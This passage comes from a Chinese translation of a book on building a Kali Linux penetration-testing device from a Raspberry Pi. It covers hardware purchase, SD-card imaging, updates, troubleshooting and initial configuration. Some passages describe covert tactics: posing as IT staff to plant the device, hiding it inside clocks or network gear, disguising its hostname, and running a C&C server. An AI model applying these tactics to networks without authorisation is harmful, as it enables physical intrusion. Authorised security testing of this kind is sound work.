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内容提要
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本书内容组织有序，通过步骤式讲解来凸显实用性和实操性，适合信息安全从业人员阅读。
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前言

本书的主要内容是通过综合Kali Linux的强大威力和树莓派便携又廉价的特点，两者强强联手，在不需要大运算量的项目里，构造一套异常灵活的渗透测试平台。我们已经把这套软硬件组合运用于远程渗透和漏洞测试。由于树莓派非常便携，可以方便地在不同位置进行安全测试评估，还可以通过配置，既能远程控制树莓派，又不会留下什么痕迹。此外，树莓派不落痕迹的特点，加上其低功耗的特色，使得在搭配外置USB电源后，能在户外的环境里工作1～2天。对渗透测试人员来说，在树莓派平台上使用Kali Linux实现安全测试的目标，是一种独特又高性价比的选择。

本书内容安排


第1章，树莓派和Kali Linux基础知识
 ：如何购买树莓派，安装Kali Linux，最开始怎样登录Kali Linux和一些常见问题的解答。


第2章，树莓派预备步骤
 ：初步介绍Kali Linux ARM版本操作系统，以及如何优化环境，使树莓派适用于本地和远程渗透测试。


第3章，渗透测试
 ：目标是帮助读者理解网络扫描、无线破解、中间人攻击和突破加密通信等技术手段。


第4章，树莓派攻击
 ：介绍利用树莓派上的工具和方法，怎样攻击测试的目标，手段包括攻击工具、社会工程学、钓鱼和恶意蜜罐。


第5章，结束渗透测试的工作
 ：包括如何在报告里整理结果，如何在渗透测试后掩盖痕迹。


第6章，其他树莓派项目
 ：介绍其他渗透测试工具集、防护工具和各种树莓派使用场景
[1]

 。

阅读本书的先决条件

如果希望用树莓派作为安全评估的工具，请参见第1章关于购买树莓派和其他系统组件的详细信息，在后续章节中会用到。Kali Linux和本书提到的其他软件应用都是开源的，可以免费下载。

本书读者对象

本书的主题是用最流行的开源渗透工具集Kali Linux，把树莓派变成一套黑客适用的军火库。如果各位读者需要寻找一款价格低、体积小的黑客工具，可以从远程访问，本书的理念就非常适合你。如果作为渗透测试人员，希望削减出差成本，只要把这个低价的节点设备放到目标网络，然后通过本书的方法，就可以大大地节省成本。如果你是渗透测试领域里的新人，希望学习渗透经验又不希望花太多的钱在昂贵的硬件上，本书也会很有帮助。如果你恰好是一位树莓派玩家，但也对黑客技术感兴趣，本书就同时覆盖了这两方面的内容。本书的读者并不需要是有经验的黑客或程序员。当然如果有网络方面的经验会更好；但要学习本书的知识理念，并不强求具备网络知识。




[1]
 　译者注：此处原文为use case，翻译成“用例”只是原来的约定俗成，并不利于理解。本书有无数的地方出现了use case，译为“使用场景”均比“用例”更易懂，故修改。








第1章　树莓派和Kali Linux基础知识

Kali Linux的用户包括全球各地的安全专家、黑客们和研究者，是最受欢迎的渗透测试平台之一，主要用于安全和漏洞评估、攻击研究和风险测试。Kali Linux包含众多流行的开源工具，适用于渗透测试的方方面面。Kali Linux的前身是BackTrack 5 R3，然后逐渐进化到一套完整的Linux桌面系统。

树莓派电脑以超低价著称，它使用HDMI（高清晰度多媒体接口，High Definition Multimedia Interface）线与显示器相连，可以外接USB键盘和鼠标。许多计算机专家都记得以前的电脑并不是打开电源就立刻能用的，那时候的电脑往往还得先在机器上折腾一下才能运作。树莓派可以用于学习计算机体系和编程，而价钱却非常便宜。人们已经利用它的便携性和低价，搭建出各种学习设备、远程摄像头、安全系统、地震监测仪和诸多各类项目。

本章讲解了以下内容：


	如何购买和组装树莓派；

	安装Kali Linux；

	怎么把Kali Linux和树莓派结合起来；

	克隆树莓派SD卡；

	需要规避的常见问题。



1.1　购买树莓派

本书中，选择的是树莓派Model B+型号。其他型号也都大同小异，当然，如果型号不同，可能需要自己微调某些配置。

图1-1中展示的就是树莓派B+产品。

[image: index-19_1]


图1-1

树莓派B+型号和前代相比，有以下重要改进：


	更多的USB接口；

	更强的热插拔处理能力；

	网卡配置了新的状态灯显示；

	支持40针脚的GPIP（General-Purpose Input/Output）接线头；

	使用microSD卡而非完整尺寸的SD卡；

	低能耗要求。



网上有一些现成的树莓派套装，如树莓派完备版套件（Ultimate Kit），在本书写作时，美国亚马逊网站上的价格为79.99美元。套装里包括一个树莓派B+型号主机、外壳、电源适配器和一个Wi-Fi无线网卡。当然也可以只买一个基本的B+主机而不买电源适配器、SD卡等。如果只买主机本身，在www.amazon.com
 上只需要大概40美金。要完成某些任务，如网络监听，就需要用到第2块网卡了。而树莓派默认只有一个有线网卡。要实现这些目标，就要再花11美金买一个USB接口的有线网卡
[1]

 。而且，大部分的套装也没有包括适用于电脑上SD卡槽的转接套
[2]

 。例如，MacBook Pro电脑上有SD卡接口，但还得配备一个microSD卡的转接套，才能对树莓派的microSD卡进行格式化，这个转接套的价钱大概在10美金左右。对无线渗透测试来说，还需要一个USB无线网卡，大概10美元可以买到。总的来说，大部分树莓派的组件都不算贵，所以整套系统的价格也就在50～100美元。

图1-2显示的是从盒子中取出来的树莓派主板。

[image: index-20_1]


图1-2

图1-3所示为在eBay上销售的一款树莓派套装。

[image: index-21_1]


图1-3

图1-4所示为一个USB有线网卡。

[image: index-21_2]


图1-4

图1-5所示为microSD到SD卡的转接套。

[image: index-22_1]


图1-5

图1-6为USB接口的无线网卡。

[image: index-22_2]


图1-6

CanaKit Wi-Fi无线网卡体积较小，便携性佳，兼容性强，非常适合树莓派使用。

在本书中，我们会学习将树莓派作为远程渗透测试的探头
[3]

 使用，并使用它的无线功能再连回中心管理系统。在逐渐熟悉了树莓派和Kali Linux，以及其他渗透测试应用后，很可能就会用到上面提到的这些组件。以下是构造一套用于渗透测试的树莓派需要的清单列表：


	树莓派B+ 型号主机，大概35～45美元；

	USB无线网卡，大概10～20美元；

	USB有线网卡，大概10～20美元；

	SD和microSD卡转换器，包括microSD卡，大概10～20美元；

	电源适配器，大概5～10美元；

	USB充电宝，用于移动渗透测试，大概10～20美元。



入门级套装总价大概在60～90美元，具体总价取决于包括哪些组件。


[image: 技巧.tif]




上述清单里没有包括使用HDMI连接的显示器、USB键盘和鼠标，通常在搭建启动映像时会需要用到它们。



1.2　组装树莓派

树莓派就是一块电路敞开着的芯片板。人们通常都希望能保护这块板子，在放置它的目标位置也最好有个盒子能把它藏起来。树莓派外壳一般是把整个板子放进去，或通过卡楔的方式把板子固定起来。树莓派装好后，板子多半就藏在盒子里了，但输出的接口都会留出来，可以从外部访问到。

下一步是把输入和输出设备如键盘、无线网卡和鼠标等，整合组装在一起。树莓派B+型号有4个USB输出接口。还有一个HDMI输出，可以接到显示器上。在电源方面，树莓派使用的是5V的microUSB电源，可以通过USB Hub、电源适配器或此类设备进行供电。树莓派的核心是装在microSD卡上的软件；所以需要先把Kali Linux的映像文件安装到microSD卡上，再将这块卡插进树莓派里。


[image: 提示.tif]




某些树莓派的microSD卡上预装了软件。建议在格式化这张microSD卡前，先克隆一下上面的软件，再安装Kali Linux，这样就可以保存一份出厂预装的软件了。克隆microSD的过程会在本章后面的内容里出现。



1.3　准备microSD卡

现在树莓派组装好了，接着先安装Kali Linux。大部分计算机没有microSD接口，但是许多系统如苹果公司的MacBook有SD卡接口。如果连SD接口也没有，可以外接一个USB SD和microSD读卡器，价格也很便宜。我本人使用的MacBook上面有SD接口，再配一个microSD转接器，就可以格式化树莓派的microSD卡了。
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所使用的树莓派microSD卡容量至少为8GB，才能比较正常地运行Kali Linux。另外还得确保这张microSD卡是高速卡。建议在大部分项目下使用class 10类型的microSD卡。



图1-7就是一块class 10的金士顿8 GB microSD卡。
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图1-7

解决了计算机访问microSD卡的问题后，需要先格式化这张卡。可以从SD协会（SD Association）的网站www.sdcard.org
 上下载一个免费应用，如图1-8所示。
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图1-8

该应用可以格式化microSD卡。下载和使用步骤如下。

1．通过Web浏览器访问https://www.sdcard.org/home/
 。

2．在左边的菜单栏里选择Downloads。

3．然后选择SD Card Formatter 4.0。

4．再根据使用的操作系统选择版本。有Mac和Windows两个版本。

5．最后，选择接受End User License Agreement，下载该软件并安装。

下载完成后，插入SD卡，启动SD Card Formatter应用。确保选择了正确的介质，准备好后，点击Format按钮。程序会擦除SD卡上的所有信息，为安装Kali Linux做好准备。

确保要格式化的是正确的驱动盘，否则可能会误删了其他驱动盘上的内容。
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确保在格式化microSD卡前先备份当前映像内容，以免丢失默认软件和其他数据。如何克隆microSD卡在本章也会提到。



图1-9显示的是启动SDFormatter应用时的场景。
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图1-9

如果使用的是苹果电脑，点击Finder，在搜索里输入Disk Utility。若此时microSD卡已经插好了，在Disk Utility里就能看到Drive选项下的microSD磁盘。点击microSD卡再选择右边的第2个Tab页面，这个Tab正好在居中的位置，名叫Erase。建议其中的Format选择MS-DOS（FAT）格式。不用给microSD卡起名，就让Name一栏留空。然后，点击Erase按钮格式化这张卡。

图1-10展示了Disk Utility里的界面。

[image: index-27_1]


图1-10

1.4　安装Kali Linux

现在准备好可以在树莓派上安装Kali Linux了。默认来说，用于树莓派版本的Kali Linux安装包已经为树莓派设备的内存和ARM处理器做过优化。碰到特定的渗透测试目标，树莓派还是令人满意的。但如果加入过多的工具和功能，树莓派设备的性能可能会跟不上，导致在实验室之外的场景会变得难以使用。要想在树莓派上安装完整版的Kali Linux也是可以的，但需要单独安装各个Kali Metapackages软件包，这个已经超出本书范围了。对需要用到完整版Kali Linux的场景，建议还是换个更强劲的系统。

要在树莓派上安装Kali Linux，需要先到Offensive Security的网站上下载树莓派对应的安装映像文件。地址为http://www.offensive-security.com/kali-linux-vmware-arm-image-download/
 。

图1-11显示了可供下载的Kali Linux Custom ARM Images
[4]

 。
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图1-11
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最好在安装前，计算和对比下载的映像文件的SHA1SUM摘要值，以验证没有被篡改。



映像文件下载好之后，就要将它写入microSD卡上。如果使用的是Linux或Mac操作系统，可以使用内置的dd命令行程序。如果使用的是Windows系统，就要使用Win32 DiskImager程序。

Win32 Disk Imager是一套免费工具，用于将raw映像文件写到SD/microSD卡上。如果microSD卡用了图1-5所示的那种USB转接套，这个工具有时候会出问题，已经有人报告过这个现象了。

Win32 Disk Imager程序的下载地址为http://sourceforge.net/projects/win32diskimager/
 。

下载完成后，只要选择映像文件和可移除介质，然后就可以开始写入的过程。整个过程可能需要一点时间。MacBook的系统上大概花了30分钟。

现在可以准备安装之前下载的Kali Linux映像了。先将压缩文件解压到桌面上。可以用类似7-Zip这样的程序解压下载的文档。

图1-12是Win32 Disk Imager程序的界面。
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图1-12

如果用的是Mac平台，第一步是确定操作系统读取SD卡的位置。可以在终端输入diskutil list命令以达到这个目的，执行的结果如图1-13所示。
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图1-13

在图1-13中可以看到，SD卡被标记为disk1。也看得出来，这张microSD卡上有分区，说明还没有格式化这张卡。此时应该按照本章开头的描述，先格式化这张卡再做后续步骤。

虽然我更喜欢用前面提到的SD Card Formatter程序，但也可以在直接在Mac里通过命令行直接格式化SD卡，步骤如下所示。

1．首先，需要输入diskutil unmountDisk /dev/disk1这条命令，先卸载已在使用的SD卡。

2．然后再输入sudo newfs_msdos -F 16 /dev/disk1命令格式化SD卡（千万要确保输入正确的磁盘名称。如果搞错了后果非常严重）。
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强烈建议先用分区工具把microSD卡上的分区都先删掉，再进行格式化。



3．此时需要输入Mac操作系统的系统/管理员密码。
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在上述格式化相关命令中，用的是disk1这个名称，因为操作系统自动把SD卡分配为disk1。但操作系统给SD卡分配的可能是另一个编号。确保在执行上述命令时，用的是正确的磁盘编号。



在复制映像文件之前，最好格式化SD卡。但值得说明的是，后面用dd命令时，执行的是从映像文件到SD卡的逐比特复制，所以并非一定要格式化SD卡。但格式化操作可以防止一些其他错误和异常。

现在可以安装之前下载的Kali Linux映像文件了。先将下载的文档解压到桌面。可以使用Mac平台的Unarchiver或Keka来解压文档。

然后确定解压后映像文件名。例如，解压出来的映像文件名为kali-1.0.9- rpi.img。最好再度确认一下系统是否可以访问SD卡。方法是再次输入diskutil list命令。

输入以下命令，把映像文件安装到SD卡上（可能需要再输入一次Mac操作系统/管理员密码）：



sudo dd if=~/Desktop/kali-1.0.9-rpi.img of=/dev/disk1






图1-14显示了前面这条写入命令执行后的结果
[5]

 。
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图1-14

在映像文件写入microSD卡的过程中，命令提示符会处于停顿状态。休息一下就好，因为这个过程是颇需要一点时间的。在我的系统上，花了差不多30分钟才完成。
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可以按下Ctrl + T组合键，向正在运行的程序发送SIGINFO命令，以查看dd命令的运行进度。



图1-15显示了映像文件写到microSD卡的过程，此时命令行提示符处于停顿状态的样子
[6]

 。
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图1-15
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如果不加上sudo命令，OS X系统下要用dd命令把映像文件写到microSD卡上时，可能会出现权限不够的提示。如果使用的命令行和上面的略有差异，确保sudo对后面的整个命令都有效，所以建议把sudo后面的命令用括号括起来，以免出现这个错误。



完成映像文件的安装后，只要把microSD卡插入树莓派，打开电源，就可以启动系统了。启动系统可能需要花5分钟。然后输入用户名为root，密码toor，登录Kali系统。如果希望启动到图形界面下，只要在终端输入startx。恭喜！这套运行在树莓派上的Kali系统就装好了。
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系统的启动可能需要点时间。树莓派支持图形用户界面（GUI），可以输入startx启动图形界面。但是，建议在树莓派上还是以命令行为主。如果输入了startx命令，可能需要20分钟来加载图形界面，而且用起来非常慢，甚至会没有响应
[7]

 。



1.5　把Kali和树莓派结合起来

Kali Linux的树莓派版本映像文件已经为树莓派做过优化。登录时，用户名为root，密码为toor。建议登录后，立刻输入passwd命令修改默认密码。大多数攻击者都知道Kali Linux的默认登录信息，所以最好保护好树莓派免受恶意访问。

图1-16展示了重置默认密码的passwd命令。

[image: index-32_1]


图1-16

输入startx命令后，屏幕会短暂地变空白。这是正常的。加载X Windows（GUI）桌面，它会提示是否使用默认工作空间或另开一个空白的工作空间。选择默认工作空间。选择后，桌面会尝试重载或重绘。完全加载可能需要几分钟时间。

图1-17显示的就是输入startx命令时的截图。
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图1-17

需要做的首要任务就是升级操作系统和软件包。升级的过程会需要一点时间，在此过程中也会显示当前的进度。然后还需要在X Windows（GUI）环境里再做一次升级。不少用户反映说软件包没有完全升级成功，因为这些用户不是在X Windows环境下执行的升级。在启用apt-get upgrade命令升级前，请先输入startx，登录X Windows环境。

图1-18显示的是输入apt-get update命令的截图。
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图1-18

然后输入apt-get upgrade命令，如图1-19所示。
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图1-19

在Kali Linux GUI里进行升级的步骤如下。

1．确保先登录X Windows桌面（使用startx命令）。

2．打开终端窗口。

3．输入apt-get update命令。

4．输入apt-get upgrade命令。

5．输入sync命令。

6．输入sync命令。

7．输入reboot命令。

在升级了系统后，要输入sync命令（作为个人习惯，会输入两次）。再输入reboot命令重启系统。在几分钟内，系统重启，再次登录系统。输入startx命令打开Kali Linux GUI。

图1-20为输入sync和reboot命令的情景。
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图1-20

需要在X Windows（GUI）环境下执行apt-get update和apt-get upgrade命令来升级系统。如果不这么做，X Windows环境有可能会变得不太稳定。

完成以上步骤后，就可以开始用这套跑在树莓派上的Kali Linux进行渗透练习了。

1.6　树莓派的优点和缺点

本书各处也都提到，树莓派是一种低价的运算选择，可以有各种用法。但廉价的系统通常运算能力也有限，所以树莓派在任何类型的渗透测试中，对需要动用大量资源的任务就无能为力了。所以强烈建议只在特定的任务里使用树莓派，而不要把它当成全功能的渗透工具集，因为完整安装的Kali Linux版会比受限的ARM架构的Kali Linux提供多得多的工具。

下面两个截图选择的是同一个类别里的程序做对比，展示了ARM架构版Kali Linux和完整版Kali Linux的程序差异。另外，在Kali Linux ARM里，某些工具在图形界面环境里无法正常工作，或无论是否图形界面环境都不能用。这时候在比树莓派功能更强的系统中安装完整版的Kali Linux工具会更可靠。图1-21展示的是Kali Linux ARM版本中Live Host Identification类别的工具，这类别里只有ncat和nmap。
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图1-21

图1-22则是完整安装版本Kali Linux中同样的Live Host Identification类别工具。可以看到图中，这个类别里的工具明显更多。
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图1-22

1.7　树莓派渗透测试场景

有些使用场景非常适合树莓派的“酷”特征。首先它能在难以亲身前往的位置里提供低成本的远程渗透测试节点。例如，要为远在中国、英国和澳大利亚的分支机构提供渗透测试服务，彼此间带宽也比较受限。使用树莓派就可以不用真的出差到每个地方，只需要向客户收取树莓派的价钱，然后给每个地方寄一个树莓派过去。只要当地有人帮助将树莓派接入网络，就可以执行远程渗透测试了，这样能极大地节省差旅和硬件的开销。大多数情况测试完后，客户只要把树莓派下线，放在一边就行，反正也很便宜。用这个方法，能帮客户节省一大笔钱，而不需要用企业云扫描工具，否则在每个地方都这么做成本可就高多了。

另一个使用场景是偷取普通用户的信任，宣称自己是IT人员或电信公司客户代表来做维护，实体地将树莓派接入目标网络。树莓派主板可以藏在其他正常外观的硬件里，如思科的交换机、Hub等，并把树莓派接到某个网口上去。普通用户不会无端怀疑网络设备，看起来它出现在那里还挺合理的。

在这些使用场景里，主要的卖点都得归功于树莓派的低价，即使丢了一套也不至于破产。另外，在这两个场景里，由于树莓派的体积很小，所以它的便携性极高。因此，树莓派比诸多其他昂贵的远程渗透工具集如PWNIE Express
[8]

 （并不是说PWNIE Express的工具就不好或不值得拥有，但它们确实比树莓派贵多了），就显得更适宜了。说到PWNIE Express这家公司，读者也可以在树莓派上运行该公司的轻量版PWNIE Express软件，这会在本书最后做介绍。

常规考虑使用树莓派的出发点，是因为它设计灵活、软件丰富，以及在线社区的支持。有无数的网站专门讨论树莓派各种花样百出的玩法。所以碰到问题时，通常在Google上一找都能发现答案。操作系统也有很多选择，而且几乎用到的软件都是开源的。这使得各种设计需求都可能实现，如开发一套使用者数量众多但价钱适宜的移动教室。

树莓派能做的事情数不胜数。在渗透测试方面，Kali Linux提供了基本上会用到的所有工具。尽管Kali Linux ARM功能有点受限，但可以通过apt-get命令下载缺失的工具，以符合渗透测试练习的要求，当然这工具最好不需要大量的运算。在本书后续内容里会说到如何下载缺失的工具。所以，花上50～100美元买个树莓派，到在线论坛参考下用树莓派可以干啥，将其作用尽情发挥出来吧。

1.8　克隆树莓派SD卡

在要格式化树莓派，准备安装Kali Linux前，强烈建议先备份原版的系统软件。大多数树莓派microSD卡上是以NOOBS的形式（New Out of the Box Software的缩写）来安装各种操作系统，可以从中选择安装一种操作系统。如果microSD卡已经被擦除重写了，也可以从这个地方重新下载NOOB软件：http://www.raspberrypi.org/downloads/
 。

克隆SD卡的过程很简单。很多Windows程序，如早先介绍过的Win32 Disk Imager，都可以精确复制一份SD卡映像文件。在Mac平台上，要确认SD卡的名称，可以打开命令行提示然后输入diskutil list命令，如图1-23所示。
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图1-23

在图1-23中，可以看出我的microSD卡为/dev/disk1。而各位读者的系统上microSD卡的编号未必和我一样；所以要先确认microSD卡的磁盘名称。要克隆这张卡，并把磁盘映像文件保存到桌面上，需要输入以下命令：



sudo dd if=/dev/disk1 of=～/Desktop/raspberrypi.dmg






图1-24展示了输入这条命令后，还需要输入密码才能继续运行这条命令。
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图1-24

克隆整个SD卡的过程大概要30分钟。创建映像文件的速度取决于卡的大小和microSD卡的速度、卡上的数据量和电脑的运算能力等。总之，耐心点，慢慢复制吧。
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OS X系统下，将映像文件写到microSD卡上时，如果不加sudo命令，可能会无权写入。如果所用的sudo命令有更复杂的形式，可以在后面使用括号，确保sudo包括后续的所有操作，否则可能还是会出现这个问题。



1.9　避免常见问题

最糟糕的事情莫过于已经按照书上的指引，却还是碰到各种问题。在以往装过的不少树莓派系统中，也碰到一些有趣的问题，当然有时候这些拦路虎还蛮讨厌的。下面这些是碰到过的问题以及建议：希望这些到处碰壁得来经验教训能节省大家宝贵的时间。


	
电源问题：
 我们试过一些很迷你的USB电源充电器，为树莓派提供5V microUSB电源，这样更便携。但这么做有时候行得通有时候不行，树莓派看上去也通上电了，但系统就是不启动。确保要提前测试好，因为某些电源充电器就是不好用。大多数树莓派系统在侧面有电源指示灯，红灯代表通电，黄灯代表工作正常。请查阅树莓派生产厂商的网站获得对应型号的具体信息。

	
MicroSD卡的读取问题：
 据说某些microSD卡读卡器在插到机器上后，操作系统无法识别SD卡。有些Mac用户说：“得朝SD卡读卡器接口里吹气”，还有的人发现要用外接的独立读卡器，操作系统才能识别microSD卡。建议更换其他系统试试看。如果想买个microSD卡转换器，确保厂商标明这是兼容树莓派mciroSD卡的。外接microSD卡读卡器不会超过10美元。也可以参考这个网页里的常见问题来帮助获得：http://elinux.org/R-Pi_Troubleshooting
 。

将映像文件安装到microSD卡上后，树莓派却不工作，请确认microSD卡的插法是否正确，microSD卡有可能插反了，或卡的类别不对。如果正确地插入了microSD卡，但系统上电后却什么反应也没有，请确保电源是否正常。下一个问题是映像文件可能没有正确安装好。我们曾经碰到过一些用户，在执行dd的过程中，电脑自动进入休眠状态，所以只刻录了部分的Kali Linux映像。要确保映像文件完整无误地刻录到microSD卡上了。另外，还要确认下载的映像文件是否为官方正版。Offensive Security为下载的映像文件提供了SHA1SUM值，可用于确认映像文件是否被非法篡改过。另外，请确认下载的方式是否正确，否则映像文件有可能毁坏了。如果系统能启动，在屏幕上出现命令行提示符前，仔细留意启动顺序里出现的错误信息。

	
权限拒绝：
 许多Mac用户发现自己没有运行dd命令的权限。原因可能是以下几个方面。首先，要确保自己的microSD卡和SD适配器没有被置于只读的状态。然后，确保读卡器和适配器工作正常。听过有说法是Mac用户得“朝SD读卡器接口里吹气”以清理里面的灰尘，才能工作正常。确保使用sudo命令时对整个语句有效，如前面我们说到过的。如果错误一直持续，试试看换一个外接microSD卡读卡器，现在这个读卡器可能格式化没问题，但用dd命令的时候会有问题。

	
输入startx后屏幕空白：
 在命令行输入startx后，理应看到树莓派启动Kali Linux GUI。启动速度取决于树莓派上安装的软件大小和运行速度和具体装了什么，可能需要好几分钟才能启动图形界面环境。如果装了太多的应用，导致系统太慢，树莓派可能就不胜负荷了，图形界面就冻住了。像早前说过的那样，强烈建议对特定的渗透测试目标只安装必要的软件，没必要的软件不要安装。如果需要大量的运算处理或完整功能的Kali Linux，有许多性能更好的平台可供考虑，就不要使用树莓派了。另外，在树莓派下，发现很多软件在命令行下的运行好过在GUI环境下。所以如果可能，尽量使用命令行状态下的Kali Linux。

	
在执行了startx之后，移动鼠标时变成白屏
 ：在Kali Linux GUI环境下，从终端窗口运行了apt-get update并重启了系统。第二次启动后，再执行startx，系统貌似正常启动了；但是当移动鼠标时，屏幕变空白了。如果在上一次关闭系统时，正打开着Web浏览器，重启后浏览器还显示着；但是如果上一次重启前已经关了浏览器，屏幕上就什么也没有了，只有鼠标在空白屏幕上移动。有时候树莓派在第2次启动startx的时候会出现这种状况，即使没有执行过升级。

这个问题的原因是在执行apt-get update时，有些文件没有正常升级，这会导致显示上出问题，或所装的这个版本Kali Linux运行不正常。有两种解决方法。

你很可能在X Windows环境之外执行过apt-get update和apt-get upgrade命令。所以得重新刻录映像文件，再到X Windows环境下执行apt-get update和apt-get upgrade命令，然后执行sync和重启系统。完全照做即可避免此类问题。

另一种做法是从一份新的Kali Linux映像文件重新制作microSD卡然后不执行apt-get update。我是知道背后缘由的，但有些人会花上两个礼拜抓狂地想找原因，但实际上只需花30分钟就可以重新写入一遍，恢复后就能继续下一步工作了。当然得记住，总是有可能碰上鼠标移动时的白屏问题，所以建议还是按本书里的update和upgrade步骤进行，再开始使用树莓派上的Kali Linux。

	
在GUI里找不到Kali Linux的工具菜单
 ：我们发现在某些版本的树莓派Kali Linux ARM映像里，系统能正常启动，但输入startx启动GUI后，GUI加载完毕后，应用的下拉菜单里却压根没有Kali Linux的各种工具。这种现象与之前提到的显示问题类似，可以在重新登录GUI的时候，立刻执行apt-get update和apt-get upgrade相关步骤。update和upgrade命令会在安装和升级过程中，修复引起问题的受损文件。按照推荐的update和upgrade步骤执行后，成功地升级并重启过系统，应用菜单里的Kali Linux软件就又重新出现了。




[image: 技巧.tif]




网址http://elinux.org/R-Pi_Troubleshooting
 有大量问题解答资源，可帮助解决问题。



总结

在本章中，我们探讨的内容包括如何购买硬件，如何组装一个树莓派。我们建议了各种硬件组件，如microSD卡和无线网卡，以配合本书后面章节的内容。

在买好需要的硬件后，接着介绍了在树莓派上安装Kali Linux的最佳方式。这包括格式化和升级Kali Linux的详细步骤，以及碰到的常见问题和可能的修复方式。在本章节的最后，读者应该就安装好一套能正常工作的Kali Linux了，软件也已经过升级，树莓派上运行的各种程序也适用于入门的基本设置。

在下一章，会讨论树莓派用作渗透测试平台的优势，还会讨论如何优化树莓派上的Kali Linux应用，以及如何远程控制和管理作为Kali Linux攻击平台的树莓派。




[1]
 　译者注：原文直译是“以太网卡”，但改成有线网卡普通读者应该更容易理解。


[2]
 　译者注：这里“转接套”对应的英文是adapter，adapter这个单词指代非常含糊。在有把握的地方，酌情改成容易理解的称呼。


[3]
 　译者注：这里的原文是agent，和前面的adapter一样，较为含糊，酌情叫“探头”。


[4]
 　译者注：实际上现在Kali Linux树莓派版下载地址为https://www.kali.org/downloads/
 ，如为树莓派2 B+或树莓派3，请选择页面上的Kali Linux armhf下载链接。


[5]
 　译者注：这个截图明显换了在另一位作者的机器上操作，编号和机器名都变了！而且图中SD卡的编号变成了/dev/disk2，正好印证了前述作者们提到的要多注意SD卡编号的问题。


[6]
 　译者注：这张图原作者也许放错了！因为屏幕上显示的已是树莓派启动时的画面。


[7]
 　译者注：作者写作本书的时候还是树莓派1，等本书出版的时候，主流型号应该是树莓派3，图形界面已不是问题。


[8]
 　译者注：PWNIE Express公司推出了若干款基于平板电脑和手机的渗透和安全评估产品。








第2章　树莓派预备步骤

在用于安全评估时，树莓派的运算能力有限。因为它的设计初衷仅是1台低功耗的便携计算机，目标人群是教育界和计算机爱好者们。这个开放平台的运算能力虽然有限，但它也有很多强大的使用场景，比如安全专业人士可以将它用于渗透测试和其他服务。本章的重点是使用Kali Linux（或其他操作系统）的树莓派，还需要再做哪些步骤，才能开始实施渗透测试。

本章讲解了以下内容：


	树莓派使用场景；

	C&C服务器（主控服务器，Command & Control Server）；

	渗透测试需要做哪些准备；

	超频；

	设置无线网卡；

	设置Kali Linux上的3G USB网卡；

	设置SSH服务；

	设置默认私钥和管理；

	通过SSH做反向shell；

	安全通道（Stunnel）；

	将以上技术运用到一个例子中。



2.1　树莓派的使用场景

安全专家们常常会使用树莓派来收集分散在各地机构里诸多远程站点的信息。

在异常分散的机构里，常用树莓派来收集远程机器的信息。当然在这种情况下很多人也会使用专门的商业工具做漏洞评估；然而如果预算有限或出于厂商的合作要求，就没法采取这种方式了。比如本书作者参与过的一个安全评估项目，就涵盖全球各地的办公场所。这个项目里，出差到每个场地去做本地渗透测试颇不现实。为解决这个问题，我们将配置好Kali Linux的树莓派发到各地办公室，远程评估和测试各地网络的安全性，开销就可接受多了。在本章最后会再举例详加说明。

树莓派另一个有价值的地方是安全专家有时需要将设备长时间地留在现场。在上一个例子里，给每个办公地点寄一套昂贵的高端设备显然性价比就很低了。比起其他更大型更强劲的系统，树莓派由于外型娇小，作为移动设备所需供电也较有限，偷偷潜藏起来也更有优势。比如，将树莓派藏在一个打印机的电源变压器里
[1]

 ，人们一般认不出这是什么，也不会刻意去破坏一个搞不清楚用途的小黑盒子，对比看如果换成在公司某处不显眼的位置摆上一台手提电脑会怎样。在黑盒测试里，如果有机会把树莓派藏在公司的某些设备如挂钟、灯具和打印机里会非常管用。在本章中，讨论如何从中心化的管理节点出发，通过一个到多个树莓派渗透进远程网络，使这个概念更有效可行。

图2-1为藏在喵星人造型挂钟里的树莓派。

[image: index-45_1]


图2-1

2.2　C&C服务器

如之前所说，树莓派不是一台强劲的机器。要克服这个弱点，在使用树莓派版Kali时，捕获数据的方式最好是可控的，并且尽量以离线的方式处理运算任务。如果不这样，很多攻击工具都会使树莓派的处理器忙不胜忙，又或在查看捕获的数据时，把有限的本地存储空间都给占满了。这个内容在3.6节会详细介绍。

如果需要远程访问多个树莓派系统，建议设置一台中心C&C主控服务器（Command & Control）而不是独立地去访问各个小盒子。C&C服务器应该是一台更高效的系统如传统服务器，由它专注处理需要大量CPU运算的任务，如通过暴力枚举破解密码。更重要的是，可以使用C&C服务器直接执行分析和攻击任务，而不需要全在树莓派本地执行。例如，网络钓鱼攻击，可以将树莓派上的流量都转发给C&C服务器，由它进行分析和漏洞破解。

2.3　渗透测试需要做的准备

在第1章中讲过，Kali Linux的ARM映像文件已经为树莓派做过优化，但仍然建议额外地执行以下步骤，以确保在最稳定的状态下使用Kali Linux，尽量不要把树莓派搞垮。步骤如下。

1．建议首先按照第1章里描述的步骤，升级操作系统。如果还从未升级过系统，请翻回第1章，按步骤执行升级，这里就不再重复具体的步骤了。

2．下一步是正确命名树莓派。Kali Linux映像里的主机名是一个默认的通用名称。要修改这个主机名，可以使用vi编辑器（当然随意选择一种编辑器也没关系；即使读者爱用nano，我也完全不会鄙视你的），执行vi /etc/hostname命令，如图2-2所示。
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图2-2

这个文件里唯一的内容就是主机名。图2-3是我的例子，正把原来的主机名Kali改为RaspberryPi。
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图2-3

3．另外，还要修改/etc/hosts文件里的主机名列表，也可以使用vi编辑器完成。需要正确设置在这个列表文件里的主机名。图2-4所示为我正把默认的主机名从Kali改为RaspberryPi。

[image: index-47_2]


图2-4

4．编辑文件后要执行保存。保存文件后，再重启系统。你会发现主机名改变了，显示在命令行提示符处的已是新的主机名。


[image: 技巧.tif]




起个看起来很平淡的主机名，如“HP Jetdirect”，能更容易地混入网络中，对黑盒测试环境来说是一大好处。



2.4　超频

树莓派可以通过超频提高性能。这么做的风险是有可能大大地缩减硬件的寿命。超频会导致树莓派消耗更多的电源，所以如果电源输出较弱，超频可能会有问题。在树莓派上超频可能会导致microSD卡损坏和操作系统故障。


[image: 提示.tif]




除非能接受系统永久性受损的后果，否则不要超频。



要给树莓派超频，可以使用raspi-config程序来进行高级硬件调整。可惜的是，Kali Linux映像里默认并没有包含这个应用，需要做一些额外的设置。但也不用太担心，这些步骤很容易。具体如下。

1．在树莓派命令行下，输入下述命令：



wget http://www.drchaos.com/wp-content/uploads/2014/09/raspberry_pi_ overclock_ files.zip







[image: 技巧.tif]





也可以使用官方链接下载所需的文件：



	
http://rageweb.info/2013/06/16/updated-raspi-config-in-kali/


	
http://rageweb.info/2013/11/07/bootconfig-txt-in-kali/
 
[2]







图2-5显示了执行这条下载命令时的状态。
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图2-5

2．使用unzip命令把文件解压出来，如图2-6所示。

[image: index-48_2]


图2-6

